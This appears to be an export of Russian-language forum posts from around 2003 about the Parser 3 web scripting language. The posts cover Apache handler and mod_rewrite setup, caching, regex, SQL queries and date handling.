Да, а еще лучше рядышком написать какую версию lib.p ты при этом использовал. У меня этот класс был, но вот некоторых методов в нем не нашлось.\
\
P.S. В остальном... Все круто работает, проверял лично."
"22148","Раньше пути к документам выглядели так:\
/section1/section7/something\
, где something - либо папка, либо файл. \
Теперь мы перешли на парсер и пути стали вида index.html?path=/section1/section7/something\
Пути эти - виртуальные, и данные хранятся в БД.\
Однако внешние ссылки остались, и хочется их как-то обрабатывать, т.е. брать uri и запрашивать его из базы.\
mod_rewrite делать нельзя, хотя если иного выхода не будет, придется менять хостинг и учить ситнаксис этого модуля.\
А пока хотелось бы все документы обрабатывать парсером, а в папки /images/ и /files/ положить отдельный .htaccess, который не разрешает парсеру обрабатывать html-файлы."
"22149","Назначьте парсер обработчиком файлов с расширением html\
\
Добавьте в .htaccess\
ErrorDocument 404 /xyz.html\
\
В /xyz.html смотрите $request:uri и делайте что хотите, только не забудьте выставлять правильный $response:status когда нужный документ есть в БД и когда его нету..."
"22150","Выполняю банальную задачу на Parser 3.1\
\
[code]$text_without_b[^dirty_text.match[</?b>][g]][/code]\
\
получаю: Internal Server Error\
\
открываю доку, там написано:\
[quote]Если указана опция поиска g, будет создана таблица найденного по шаблону (по одной строке на каждое вхождение). \
При этом не важно, есть в шаблоне круглые скобки или нет.[/quote]\
\
Что и где не так?"
"22151","не знаю заметна ссылка на lib в примере о переносимости запросов (мне она видна), но вот про MAIN:pSQL.server и там написано достаточно подробно (если уметь читать конечно) и в форуме уже не раз поднимался этот вопрос: поиск по MAIN:pSQL.server дает необходимые ответы... \
\
или мне предлагается в каждую новую статью включать все предыдущие?"
"22152","Воспользовался... насколько я понял в одном документе php и parser уживаться не могут... печально... значит придется отказаться от последнего... :((("
"22153","Пожалуйста подскажите как настроить parser3. Сделать его обработчиком .html. Я прочитал руководство по установке и ничего непонял. Уменя WINDOWS 2000"
"22154","Есть документ генерируемый Парсером, надо в него вставить php  скрипт. Как это сделать? Перерыл форум, документацию... ничего не получается, либо не вставляется, либо выдает ошибку. Что делать?"
"22156","Точно падает именно на матче, а не в результате дальнейших действий?"
"22157","А зачем это нужно?\
Не со смыслом \"Чего такого не может Парсер, что может PHP?\" или наоборот, а с целью понять, нужно ли такое включение вообще?\
\
Если все таки нужно (хотя придумать разумного не удалось) можно позвать скрипт через HTTP. Нагрузка на сервер повысится, конечно, но в критичных случаях - вполне прокатит."
"22158","Ключевое слово - exec."
"22160","Таким образом ошибки обрабатывабтся СЕРВЕРОМ, а не парсером.\
Если вызвать $request:uri из xyz.html, то он выдаст /xyz.html, и не более того. К тому же происходит редирект, что не совсем правильно. А если бы у меня была возможность обработать документ парсером, то содержание можно было бы подставлять прямо в запрос."
"22161","Зачем, потому как у меня все нужные скрипты есть на php...\
Не получается у меня с exec...\
Если не трудно, плиз, дай конкретную строчку с пояснениями... потому как я не очень в эту тему вьезжаю.\
Заранее благодарен."
"22162","Даже не могу сделать гостевую книгу по примеру в \"мануале\" , \
вроде все делаю правильно, но получается такая фигня : \
\
Unhandled Exception (Debug)\
not found along MAIN:CLASS_PATH\
$gb[^gbook::load[]] \
\
z:/home/pars.ru/www/gbook/index.html(28)\
exception.type=parser.runtime \
\
Помогите пожалуйста!!!"
"22163","Можно попросить Парсер писать скрипт PHP в файлик обработчиком которого назначен PHP, после чго пользователя перенаправлять на этот файлик.\
\
Криво, но должно работать.\
ps: Может ну его, PHP, если Парсер сотит."
"22165","Под мандраку надо парсер собирать самому или подойдет уже готовый бинарник от RedHat?"
"22166","-"
"22167","SetHandler parsed-html\
Action parsed-html /cgi-bin/parser - это получилось\
\
А вот /img/.htaccess/RemoveHandler .gif почему-то не работает:(("
"22168","Я ламер в этом деле, напиши, что куда и как вставлять :))).\
\
Парсер у меня гинерит страницу... в эту страницу мне надо вставить скрипт новостей написаный на php, ну не буду же я его переписывать на Парсере, я не уверен, что это вообще возможно, а тем более я этого просто не осилю :)))"
"22169","Так зачем тогда тебе нужен парсер если у тебя уже всё написано на пхп?\
\
Ведь они тебе всё равно не скажут как парсер с пхп скрестить, потому что они сами не знают."
"22171","###parser log:\
[Fri Oct 17 21:50:53 2003] /shop/?sub=673: /home/rusip/www/site11/public_html/shop/auto.p(9): '|	select|		shop.id, date, shop.name, site, isphoto, category cat, subcategory sub, sub2, sub3,|		price, money, firm, phones, pic_id|	from shop, kpclients|	where|		kpclients.id=shop.log_id and kpclients.account > 0 and subcategory='673' |	group by id|	order by shop.subcategory asc|' Got error 28 from table handler [sql.execute]\
\
###server log\
Oct 17 21:53:44 rusip kernel: eth0: can't fill rx buffer (force 0)!\
Oct 17 21:54:23 rusip kernel: eth0: can't fill rx buffer (force 1)!\
Oct 17 21:54:23 rusip kernel: eth0: can't fill rx buffer (force 1)!\
Oct 17 21:59:21 rusip kernel: Out of Memory: Killed process 12859 \
(parser3.cgi).\
Oct 17 22:02:00 rusip kernel: Out of Memory: Killed process 12604 \
(parser3.cgi).\
Oct 17 22:02:21 rusip kernel: Out of Memory: Killed process 12604 \
(parser3.cgi).\
\
\
Помогите пожалуйста, что делать????"
"22172","Расскажи плизз, как можно запустить пхп установленный как модуль апача с помощью exec?\
\
Ведь насколько я понимаю exec запускает самостоятельные программы, mod_php таким образом не запустить...?"
"22175","при 404 not found происходит [b]внутренний[/b] редирект на xyz.html, и URI в строке адреса, а следовательно и $request:uri, не меняется.\
\
AFAIK единственный минус данного метода - могут потеряться данные, переданные POST'ом. Остальное зависит от реализации."
"22177","зачем тогда Parser? В таком случае (не патриотично, но честно) я не вижу в парсере никакого смысла. Тут уж или мухи или котлеты.\
Если Вы смогли написать все нужное на PHP, думается, сможете написать и на Parser (90% - точно, а остальное сугубая специфика, то, чего в Parser нет в одно действие).\
Ну а если \"все на PHP\" накачано из бесплатных библиотек и нет желания даже попытаться переписать (== написать с нуля под собственные нужды) - необходимость парсера - ноль целых ноль десятых."
"22178","Вы же не пытаетесь всунуть двигатель от Ferrari F-2002 в McLaren MP-4/17D ;-)"
"22179","Вы не желаете читать документацию?"
"22181","что при уставке хэндлера не было указано расширение.\
\
Скажите, а чем Вас не устроил mod_rewrite?"
"22182","А может просто RemoveHandler? Без параметров..."
"22183","Задача:\
Выудить из таблици users адреса e-mail для n user-ов.\
\
Моё решение:\
В WHERE перечисляем все id пользователей разделяя их OR-ом ;)\
\
[code]\
$eml_reg_user[^table::sql{SELECT e_mail\
 FROM users\
 WHERE ^list_user.menu{id = '$list_user.user_id'}[ OR ]\
 GROUP BY e_mail}]\
[/code]\
\
Собствено что меня напрягает вдруг пользователей окажется нехилое аоличество?\
\
Ещё вопросец на засыпку, пользователи выбираются из 2х источников, поэтому один e-mail может оказаться 2 раза в списке адресатов.\
sendmail - достаточно сообразительный чтоб неотправлять письмо дважды на одно мыло.\
\
Заранее благодарю за помощь."
"22184","Я думаю, это лишь из-за отсутствия Ferrari F-2002 и McLaren MP-4/17D ;-)"
"22185","Сколько апачей видел - везде он внешний."
"22186","Возможно, я им скоро озабочусь, переехав на другой хостинг. \
Если подскажете, как с его помощью произвести указанную операцию (т.е. запрос /sect1/sect2?a=b&c=d передать скрипту в виде /?path=/sect1sect2&a=b&c=d) - буду премного благодарен)\
\
А пока, это не дало результата:\
RemoveHandler\
RemoveHandler gif\
RemoveHandler .gif .jpg\
(ничего не происходит)\
\
<Location /img> (или <Directory img>)\
RemoveHandler .gif .jpg\
</location>\
(Error 500.)"
"22187","Хотя, если прописать полный URL (с http://...), может, оно и редиректнется... Но проверять лень.\
\
Для ознакомления: http://tomash.theatre.ru/not.found/, http://tomash.theatre.ru/not.found и http://tomash.theatre.ru/not.found.html\
В .htaccess\
[code]ErrorDocument	403	/40x.p3\
ErrorDocument	404	/40x.p3[/code]\
mod_rewrite не используется.\
\
А вот в случае http://tomash.theatre.ru/not.found.p3 (на .p3 висит хэндлер) - обрабатывается file.missing"
"22188","1.1. Лучше пользовать in.\
1.2. Скорее всего, некоррекно спроектирована таблица с пользователями или сам запрос. Откуда берется $list_user? Если из базы, почему бы в where не использовать связку?\
\
2. hash Вам в помощь."
"22189","Насчет того, что не знают, это я уже понял... кроме пространных размышлений ни одного дельного совета... :)"
"22190","не понимаю. всегда же был внешний:((\
Хотя, рад без ума:)"
"22191","У меня такая задача:\
\
нужно из базы достать последнюю новость, дату, и количество дней которые должна показываться новость. Для того, чтобы определить нужно ли показывать новость, пользуюсь такой конструкцией:\
[code]\
^if($now > $date_days){<br/>}{^news.menu{^untaint[as-is]{$news.body}}}}\
[/code]\
в переменной $date_days должен лежать такой код:\
\
дата_новости + количество_дней\
\
и вот именно этот код я и не могу написать.\
Подскажите, пожалуйста, как нужно правильно написать, чтоб всё работало.\
\
Заранее благодарю."
"22192","По каким ключевым словам искать доку?"
"22193","Мне нужно чтобы я сам мог выдавать заголовок HTTP, потому что использую modrewrite и в базе может не быть новости №9999 (www.domain.ru/news/9999).\
\
Поэтому спрашиваю: как мне ответить клиенту HTTP/1.1 404 Not Found вместо HTTP/1.1 200 OK.\
\
Спасибо, коллеги."
"22194","Но ведь /sect1/sect2?a=b&c=d можно получить через $request:uri и с этим скакать?"
"22195","[code]\
$date[^date::create($now-$day)]\
^if($date_post > $date){<br/>}{^news.menu{^untaint[as-is]{$news.body}\
[/code]\
\
Вообще правильнее всё это делать средствама БД."
"22198","У них разные и трансмиссия и баланс и крутящий момент и наконец точки крепления к корпусу. Поэтому это просто нереально."
"22200","с 16 до 16:30 обед."
"22201","Тогда приходится ставить SetHandler вместо AdHandler, назначая парсер обработчиком для не-html файлов заодно (и сильно загружая сервер), либо, если обрабатывать через Error404, загружать сервер и error.log обращениями к несуществующим файлам."
"22204","Искать - многотабличные запросы."
"22205","[code]RewriteEngine on\
\
RewriteCond ${REQUEST_FILENAME} !-f\
RewriteRule (.*) /?path=$1 [qsa,l][/code]\
\
Ну и почитать [url=\"http://httpd.apache.org/docs/misc/rewriteguide.html\"]URL Rewriting Guide[/url] ([url=\"http://www.egoroff.spb.ru/portfolio/apache/rewriteguide.html\"]по-русски[/url])"
"22206","Здрасьте.\
Я вот что-то не понял, как там скроллер работает и работает ли он вообще? :)"
"22208","Получается, чтобы отследить событие в интервале 5 мин мне нужно пользоватся такой \
[code]\
^if($dt<$dt_last_publish+1/24/60*5){\
   ^throw[form.floodcontrol;mod_gbook;$gbookRes.[$lang].error_flood]\
}\
\
[/code]\
конструкцией?\
\
1/24/60*5 - что-то не очень красиво, переводить минуты в дни.\
давайте добавим в класс date метод roll и для минут(секунд, часов)."
"22209","Добрый день \
Хотелось бы узнать ни кто не сталкивался http://www.bhost.ru\
Всё время парсер выдаёт ошибку....(это первое)\
Сайт тестировался на Денвер.Всё работало..\
И где там можно прочитать про my sql где он у них расположел???\
Вообщем я в горе помогите может кто знает???"
"22210","Вот мой код, (без ^if):\
[code]\
@news[]\
^connect[$connect_string]{\
$news[^table::sql{\
SELECT\
date,\
body,\
days\
FROM\
news\
ORDER BY date DESC\
}[$.limit(1)]]\
[/code]"
"22211","Поэтому приведите сообщение об ошибке, пожалуйста - усилием мысли тут  никто его из вашей головы или из лога вашего сервера не вытащит.\
\
Про Mysql лучше всего прочитать в ответе на ваше письмо в суппорт. Напишите что-то вроде [quote]Любимый провайдер!\
\
Расскажите мне, пожалуйста, каким образом мне прописать доступ к моей БД MySQL на вашем хостинге? Мне нужно знать имя сервера, порт, имя моей базы, кодировку символов, на которую настроен сервер MySQL и, конечно, пароль.\
\
Моя учётная запись у вас - [b]такая-то[/b].\
\
Целую,\
[b]Подпись[/b][/quote]Говорят, помогает... А ещё помогает читaть FAQ, Help и Manuals..."
"22212","[quote]Всё время парсер выдаёт ошибку....(это первое)[/quote]\
Какую?\
[quote]И где там можно прочитать про my sql где он у них расположел???[/quote]\
http://www.bhost.ru/faqs/"
"22213","Лично у меня все нормально работает на этом хостинге. А про MySQL читай в FAQ. Тебе даже ссылку по почте присылали на него, я уверен.\
И вообще. Хороший, бюджетный хостинг! Жаль поддержка только e-mail осуществляется, хотя, надо отметить, что отвечают на письма моментально."
"22214","Скажите люди добры!!!\
\
Настраивал ли кто-нибудь парсер на Windows 2003, разумеется на IIS 6??? Был ли успешный опыт.\
\
Делаю все точно как в предыдущих случаях (на предыдущих версиях опыта настройки гора). Но не работает парсер. Зараза такая! Никак!!!\
\
Кто виноват и что делать??? :)"
"22215","Если IIS, тогда не знаю, может, правда Винда. А если Апач - то тут ось не причем."
"22216","С мая работаю.\
Внимательно посмотрите на настройки безопасности и разрешения выполнять скрипты в определенных каталогах. Не получится - пишите еще помогу разобраться в деталях."
"22217","Если что-то и возникает - решается просто моментально силами техподдержки.\
Я доволен :)"
"22218","1) WHERE - как использовать в SQL запросах\
2) [$.limit(1)] - что это такое и зачем надо\
3) $date[^date::create($now-$day)] - что это такое и как можно использовать?\
3.1. Что такое $now, и как его добыть\
3.2. $day - это то самое количество дней, о котором вы упоминали.\
\
ps: Желаю удачи в ознвкомлении с документацией\
pps: Я мог бы написать код, но здесь есть правило, позволяющее только помогать в написании. Такчто ждём примеров с ошибками и вопросами ;)"
"22220","<FilesMatch \"^([^.]+)$\">\
SetHandler parsed-html\
Action parsed-html /cgi-bin/parser\
</FilesMatch>"
"22221","Соратники, товарищи!\
\
Опишите пожалуйста полно ход установки парсера (любимого и обожаемого) на фатал.ру.\
\
ps Гады админы убрали его.\
pps Если кто может — настройте."
"22223","Такчто пусть будет услуг мало но услуги будут качественными.\
\
Собственно скакой проблемовы сталкнулись при установке?"
"22224","Нашел в сети ак минимум 8 уникальных документов по этой теме, и нигде не изложено последовательно:( Везде в стиле Страуструпа, т.е. начинается сложно и заканчивается через пень-колоду. У меня пока времени нет:("
"22225","не согласны?"
"22226","Но придется.."
"22227","Собственно всё сделал, но выдаёт 500 ошибку. Не может отобразить.\
Может посоветуете другой хостинг? Всё равно руками ставить..."
"22228","Или платный. похоже платного мне не избежать."
"22230","Оптимальный прошу!"
"22231","то можно неожиданно для себя ;) обнаружить файлик с названием parser3.log - кинь в форум последнюю строчку из этого файлика."
"22232","Можно ли в хтмл написать конструкцию на Парсере, которая будет:\
- читать запрос (то, что после ?)\
- брать с сервера xml, указанный в запросе\
- трансформированный xml отдавать пользователю?\
\
типа адрес: server.сom/texts.html?document_to_show=somedoc.xml\
\
И надо ли формировать заголовок HTML?"
"22234","А можно ли... примерчик, кодик какой?\
А то я не пойму, ведь файл сам по себе хтмльный, куда его содержимое денеться? Простите, если вопрос глуп..."
"22235","Смотри уроки с 1 по 6, там и примеры и даже подробные объяснения, как это работает.\
\
http://www.parser.ru/docs/lang/"
"22236","У меня вопрос из разряда: \"хочу все знать\".\
В уроках не написано, куда девается текст хтмлника, в котором попалась инструкция по преобразованию ксмл."
"22239","Все-таки я как тотальный не-программер смог ЭТО установить и понять, как ОНО работает с первого раза.\
\
Ну, не совсем тотальный..."
"22240","Есть ли в парсере возможность автоматом перевести строку запроса в Хэш, напр.:\
\
Запрос: http://domain.ru/showme.html?picture=1.jpg&bgcolr=red&title=sometext\
\
Перевести в хэш вида:\
\
Ключ     Значение\
pictute   1.jpg\
bgcolor   red\
title     sometext\
\
Или надо врукопашную разбирать как строку?"
"22241","[code]\
$mySuperHash[^hash::create[$form:fields]]\
[/code]"
"22247","ИМХО, в конце строки примера, который дал Oleg, не хватает одной фигурной скобки... попробуй добавить"
"22248","Поставил, запустил, генерит (парсит, в смысле).\
\
Проблема: выходной код (довольно навороченная таблица) в исходнике склеивается в одну (!) строку. Сие крайне неудобно, ибо human-readable никто не отменял. Как ввести переброс строки? А может, и табулятор? В javascript при генерации кода просто пишется \\t, но тут-то оно напишется в html как два символа..."
"22249","http://www.parser.ru/docs/lang/opuntainttaint.htm http://www.parser.ru/forum/?id=6490\
\
А вообще поиск по форуму и привычку думать никто не отменял. Правильно Лужниковский говорит - вы только оглавление просматриваете."
"22250","Когда вы хотите вставить перевод строки, куда?\
а вообще он ставится ^#0A\
Задайте вопрос еще раз и лучше с примером."
"22251","Сгенерировал таблицу парсером. В хтмле, который отдается клиенту, она идет без концов строк, одной строчкой. Показывается все равно нормально, но для удовлетворения собственного перфекционизма, хотелось бы как-то сделать отступы, для красоты генерируемого кода."
"22252","Я не программер; предвижу возражение \"а зачем тогда...\"\
Ну вот понадобилось. Получилось, работает. Но есть вещи, которые я не могу понять в силу отсутствия соответствующего образования. Часть из них и не пойму никогда, так на то я и не программист, а часть - спрашиваю у умных людей. Не для того, чтобы занять чужое время. а чтобы вы, чисто по доброй воле, переформулировали нечто в понятную (для меня) форму. Ведь незнание некоторых основ мешает, в том числе, понимать документацию. Да, в ней все есть, замечательная дока. Но не все я в состоянии \"прочесть\"."
"22253","И у меня тоже нет соответствующего образования."
"22257","Условие: в БД ищется статья по фразе, содержащейся в ней. (С этим я справился :)\
\
Задача: При показе текста найденной статьи выделять фразу поиска, скажем курсивом. (А вот с этим я уже не справился, но подозреваю что лучше это сделать с помощью рег. выражений)\
\
Проблема: Пока я полный (или почти полный :) ноль в этих самых выражениях\
\
Помогите решить задачку если не в тягость :)"
"22259","[code]\
$tRepl[^table::create[nameless]{phrase	<strong>phrase</strong>}]\
$sYourText[^sYourText.replace[$tRepl]]\
[/code]"
"22260","whitespace оптимизация, а просто [b]оптимизация[/b] работает"
"22261","Это каким же \"не программистом\" нужно быть, чтобы наваять такое чудо инженерной мысли как бинарный поиск по таблице из примера [url=\"http://www.egoroff.spb.ru/portfolio/21.html\"]Топологической сортировки[/url].\
\
Уже не первый день пытаюсь понять как оно работает, однако пока никаких результатов (кроме дыма из ушей). Вобщем, subj."
"22262","А товарища Д. Кнута. Этот алгоритм взят прямо из его \"Исскуства программирования\" и адаптирован к синтаксису 3-го парсера."
"22263","у меня так сделано в результатах поиска на сайте предыдущего работодателя - например, http://www.gfk.ru/about/structure/adhoc/?highlight=Navigator#highlight"
"22264","переустановил сервер и пошли грабли с кодировкой\
по умолчанию на апач установлена кодировка win-1251, создаю файл index.html в win-1251\
открывается как положено. устанавливаю Парсер и после этого файл уже открывается в кодировке koi8-r\
в чем может быть проблемма?"
"22265","В логе парсер пишет\
[code]\
[Tue Oct 21 12:40:27 2003] SIGUSR1 received. no request being processed\
[/code]\
\
Что это и из-за чего может быть?"
"22266","Основная программа работает с MSSQL на майкрософтовом сервере, на основе одной из таблиц базы данных нужно формировать таблицу на веб, естественно делать сайт на этом сервере делать не собираюсь, сайт работает на парсере на сервере линукс, а теперь вопрос как мне лучше сделать запрос к данным MSSQL базы данных, можно ли это сделать например через FreeTDS и как если вообще возможно?? Дополнение - база обновляется постоянно, данные на веб нужны всегда свежие (максимум 5 мин.)"
"22267","добавил [b]CharsetDisable On[/b]"
"22268","воспользуйтесь поиском по форуму."
"22269","$env:SERVER_SOFTWARE"
"22270","видел я насчет написания драйвера.. мне не осилить ((( а других путей нет? мне нужно ТОЛЬКО формировать таблицу на веб из данных таблицы в базе MSSQL."
"22271","с unix потом её заберёте тем или иным способом,\
и выведите."
"22272","[code]\
^cache[/data/cache/test2](5){ \
   по ходу работы вы выяснили, что страницу сохранять не нужно: \
   ^cache(0) \
} \
[/code]\
\
не могу понять, ведь если всё уже закэшировано(на 5 с) по ходу дела, то берется из файла и код не выполняется, тогда как по ходу кода можно выяснить, что страницу сохранять не нужно: ^cache(0)\
\
непонятки..."
"22273","Я только начал изучать PARSER и столкнулся с первой проблемой и не могу понять в чем дело. В перевом уроке при создании меню требуется что бы считывалась информация из файла sections.cfg.Мне все время выдает одну и ту же ошибку \"Unhandled Exception\". Что делать?"
"22274","Все подключается этим кодом:\
[code]\
$vars[^table::load[${config:dir_config}config.cfg]]\
^vars.menu{\
	$[$vars.name][^untaint{$vars.value}]\
}\
[/code]\
Все работает. Но мне нужно в нескольких местах использовать этот код, но для разных файлов.\
\
Решение - вынести в метод: @get_cfg_vars[file].\
Но дело в том, что переменные будут подключаться не туда, где я вызываю метод, а туда, где метод объявлен.\
\
Поясню, а то запутал:\
[code]\
@CLASS\
api\
\
@get_cfg_vars[file]\
$vars[^table::load[${config:dir_config}$file.cfg]]\
^vars.menu{\
	$[$vars.name][^untaint{$vars.value}]\
}\
[/code]\
Если я вызову в нужном месте\
[code]\
^api:get_cfg_vars[config]\
[/code]\
то переменные загрузятся в класс api. Тут по-моему, дело не в использовании классов. Я пробовал просто подключать файл с методом без объявления класса - результат один. То же самое относится и к файлу, из которого вызываю.\
\
Если я правильно соображаю, можно как-то через $self...\
\
Подскажите, кто сталкивался. 10 раз писать один код не представляется приемлемым."
"22275","1. Сперва в \"FAQ\" -> \"Парсерные сообщения об ошибках\" -> \"Как увидеть сообщение об ошибке? Я вижу лишь 'Unhandled Exception'…\"\
\
2. Поищите полученную ошибку по форуму, скорее всего она тут уже не раз обсуждалась..."
"22276","...то этой конструкцией можно сказать что \"все, забиваем, тут фигня получилась, в файлик не пишем и на будущее не сохраняем\"."
"22277","а вот допустим вы хотите кэшировать выборку из базы только \"свежих\", и соответственно, наиболее востребованных материалов, тогда в процессе выборки нужно только сверить дату, и всему устаревшему выставить ^cache(0), чтобы место на диске зря не занимали."
"22278","в логе об ошибке у меня пишет \"[Wed Oct 22 19:29:41 2003] /: remote HTTP server response(0): '403' invalid HTTP response status [http.status]\" В форуме не нашол ответа на вопрос."
"22279","так я понял из ответа Misha v.3\
если результат уже закэширован(есть файл) то ^cache(0) не сработает, надо удалять файлы кэша.\
\
Sergey M. не совсем понял как \
>\"всему устаревшему выставить ^cache(0), чтобы место на диске зря не занимали\"\
\
может я уже торможу,\
Sergey M. возможно ли поподробнее объяснить? может кусок кода для примера"
"22280","\"задача конструктора - создать объект. Кроме этого, он может объявить переменные и присвоить им значения. Эти переменные станут полями объекта пользовательского класса.\"\
\
по идее их можно как статические поля класса достать. но я сам не пробовал. надо будет попробовать.\
\
может ^process поможет.\
\
а идея хорошая, так можно и сесии как в пшп придумать."
"22281","после того, как истечет время жизни закешированного (вы указываете это время жизни или дату до которой кеш будет валиден) содержимое блока ^cache{} будет создаваться заново. \
\
и вот когда оно создается - мы можем управлять его созданием внутри блока."
"22282","понятно, если закэшировано на 10 часов, а например написали новости новые, то надо удалять все файлы кэша, касающиеся новостей. \
^cache(0) срабатывает только при выполнении кода внутри ^cache[].\
\
а если результатом кода будет объект таблица, например из БД, cache её сохранит? или только строка?"
"22284","cache. Сохранение результатов работы кода \
 \
 \
[code]\
^cache[файл](число секунд){код} \
^cache[файл][дата устаревания]{код} \
[/code]\
Оператор сохраняет строку, которая получится в результате работы кода. При последующих вызовах [b]обычно происходит[/b] считывание ранее сохраненного результата, вместо повторного вычисления, что сильно экономит время обработки запроса и снижает нагрузку на ваши сервера.\
\
[b]обычно происходит[/b] - это имеет какой то скрытый смысл, или так просто написали доку?"
"22285","я так понимаю это может использоваться для переключения между языковыми версиями, или что-то вроде этого.\
\
Мои конструкции примерно такие:\
[code]\
$.errorMessage[\
  $.rus[\
     $.error[Плохой файл]\
  ]\
  $.eng[\
     $.error[Bad file]\
  ]\
## <шутка>\
  $.ukr[\
     $.error[Поганий хвайл]\
  ]\
## </шутка>\
]\
[/code]\
в конструкторе передадим $lang, который rus, eng или ukr \
\
и выведем:\
[code]\
$errorMessage.[$lang].error\
[/code]\
на нужном нам языке.\
\
это вашу проблему решает?"
"22286","Допустим все свежие новости мы кешируем на два дня, ибо в первые пару дней новость достаточно интенсивно читается посетителями, и чтобы каждый раз не доставать ее из базы... бла-бла... вобщем а старые новости мы не кэшируем - никто их толком не читает и файлик кэша со старой новостью будет только бесполезно занимать место на диске. Теперь главное - старая у нас новость или свежая мы можем узнать только достав данные из базы, а так как коннект происходит \"внутри\" оператора ^cache, мы не можем заранее определить, нужно ли кэшировать новость или нет. По этому по дефолту мы выставляем время кэширования \"2 дня\", а если оказывается что новость старая мы обнуляем это время с помощью ^cache(0)."
"22287","вообще ошибки типа http.status обычно возникают при использовании ^file::load[http://... , откуда она такая могла взяться уже в первом уроке - мне непонятно."
"22288","это файл auto.p :\
@navigation[] \
$sections[^table::load[sections.cfg]] \
<table width=\"100%\" border=\"1\"> \
   <tr> \
   ^sections.menu{ \
      <td align=\"middle\"> \
          <a href=\"$sections.uri\"><nobr>$sections.name</nobr></a> \
      </td> \
   } \
   </tr> \
</table>\
В ответ получаю:\
[Thu Oct 23 01:01:03 2003] /: C:/inet/localhost/www/auto.p(6): 'uri' column not found [parser.runtime]\
Что может вызывать подобную ошибку?"
"22289","скорее всего у вас неправильно отформатирован (оттабулирован?) файл sections.cfg.\
Это \"стандартная\" ошибка первого урока, поищите ее по форуму, обсуждалась не один десяток раз..."
"22290","В доке эти два метода вместе и никак отличия не обозначены. Мне нужно url на части разобрать по знаку \"/\". Какой метод использовать?"
"22291","иногда имеет смысл следить за новыми версиями доки, если, конечно, вы обновляете свой parser.\
\
что до различий, то просто перечитайте статью."
"22292","вам нужно чтоб ваши переменные были MAIN классе: ну и пишите туда\
[code]\
@CLASS\
api\
\
@get_cfg_vars[file]\
$vars[^table::load[${config:dir_config}$file.cfg]]\
^vars.menu{\
	$MAIN:[$vars.name][^untaint{$vars.value}]\
}\
\
[/code]\
\
http://www.parser.ru/docs/lang/?definemethod.htm\
\
к тому же вариант, хранить переменные в хеше(если конечно, автоматически его не редактируете, хотя если даже, то просто рекурсивнный метод сохранения в файл, я так делаю):\
\
так вот создаете ваш .cfg туда пишите:\
[code]\
@auto[]\
$my_settings[$.set1[bla] $.set2[$.temp(3)]]\
[/code]\
сохраняете его в $MAIN:CLASS_PATH\
\
потом в вашем коде\
где нужны разные переменные\
просто [code]^use[file_name][/code]\
\
http://www.parser.ru/docs/lang/?opuse.htm"
"22293","как понял я:\
* вам нужно иметь удобное место, где хранятся важные настройки,\
* таких мест за время обработки одной страницы нужно несколько,\
* хочется положить кажный набор настроек в файлик\
\
тогда вы почти всё сделали, только почему-то остановились на статическом методе. а вам всего-то и нужно: создать объект.\
\
[code]\
$сапог[^config::load[сапог.cfg]]\
$цвет[^config::load[цвет.cfg]]\
\
$сапог.типоразмер\
$цвет.жёлтый\
[/code]\
\
я только изменил название класса и метода, а код вы уже написали."
"22294","Дока которая в онлайне для какой версии? А то я пользуюсь 3.0.0.7 В ней будет работать просто split?"
"22295","1. для последних двух\
2. нет"
"22296","в доке написано:\
[code]\
^cache[файл](число секунд){код}\
[/code]\
Число секунд - время хранения результата работы кода в секундах. Если это число равно нулю, то результат не сохраняется,[color=\"red\"] а файл с предыдущем сохраненным результатом уничтожается[/color]. \
\
думаю как же кэш-файл если удаляется, знач он существует, а если он существует, тогда как я понял не могет сработать ^cache(0).\
\
неточеность в доке?\
\
я просто хочу с кэшем разобратся чтоб не возникало вопросов."
"22297","тогда для 7й версии кокой метод (rsplit или lsplit) в моём случае использовать (разбор url)?\
Я бы новую версию залил, да боюсь какие нибудь несостыковки вылезут"
"22298","rsplit для справа-налево, lsplit - обратно :)"
"22300","создаётся пустой, блокируется, потом или записываются данные, или файл стирается.\
\
файл создаётся всегда."
"22302","Речь идет о классе auth.p\
из примера [url=\"http://www.parser.ru/examples/auth/\"]Класс авторизации[/url].\
\
Метод updateUser изменяет данные о пользователе\
в базе данных, но не меняет поле user\
в классе. То есть, после вызова updateUser данные\
в поле $auth_data.user становяться неактуальными.\
\
В чем здесь глубокий смысл?\
( если не секрет, конечно :)\
\
Спасибо!"
"22303","$user hash, параметры пользователя, если он подключен. updateUser [b]просто[/b] меняет инфу о пользователе не осуществляя его выхода. Новые данные $user вступят в силу после входа/выхода.\
\
PS: Кстати Мише персональное фэ за подобные термины:\
\
- экспайрнулся\
- апдейтит\
- овнер\
- логин\
- логаут и т.д.\
\
Ничего личного, просто я не люблю рунглиш, ну хоть режьте. Или один язык или другой."
"22305","рунглиш - отстой :-)"
"22306","не знаю, кому и зачем хочется кешировать на 2 дня...\
\
как показала [b]моя[/b] статистика, кеширование сложных страниц даже на 5-10 мин [b]сильно[/b] разгружает сервер.\
\
в том, что нечитаемая новость будет генериться раз в пол часа нету ничего страшного.\
\
основная задача кеша спасти от ситуации когда одновременно пришли читать одно и то-же много народа (например дали ссылку на вав сайт на nnm.ru ;) )\
\
если думать в этом ключе, то для большинтсва задач достаточно поставить время кеширования страницы 10-60 мин и забыть про ручные чистки.\
\
согласен бывают случаи когда нужно чтобы контент обновился оперативно. кладите кеш подобных страниц в отдельной место и удаляйте каталожку при любом обновлении/изменении данных в административном интерфейсе.\
\
чем лучше будет автоматизирован процесс - тем меньше будет головной боли."
"22307","\"Файл\" - такой-же отстой (лично мне это слово в русском написании ненавистно, и что?)\
\
и т.д.\
\
P.S. И если червь вызывает в вас такое отвращение, что вы спешите отойти от него прочь... то, следовательно, он имеет законное право на существование. / Ф. Ницше. Посмертные афоризмы /"
"22308","Или это в тестовых целях?\
\
А что касается файла то тут перегиб - есть слова заимствованные, типа файл, интерфейс, бухгалтер(немецкое слово) и т.д. для которых в русском языке нет соответствия, и поэтому они просто стали(становятся) частью языка. А есть рунглиш - овнер (владелец), экспайрнуться(истекать), таски(задачи) и т.д., для которых есть абсалютно одинаковые и однозначные русские эквиваленты, и которые не станут частью нашего языка.\
\
PS: Пиши Миша как хошь, а я всё равно ворчать буду :) просто из вредности."
"22310","ненавистно? не писи! :-)"
"22311","^|Entity: line 44: error: Premature end of data in tag comment line 4|</article>|"
"22312","а какой в этом смысл? Картинки, к примеру..."
"22313","...то есть мне не жалко, беседуйте на здоровье!\
\
Обновление произойдет, например, если открыть\
другую страницу. То есть, когда мы создадим новый\
класс auth по sid, with the sid taken from cookie.\
(уже и не знаю, как писАть:)\
\
Меня другое смущает.\
1. Есть форма для ввода данных пользователя.\
Сначала ее нужно заполнять по данным из $auth_data.user,\
а потом, когда пользователь нажал сохранить, по данным\
из $form:auth.xxx.\
2. В форме написано, что данные изменены,\
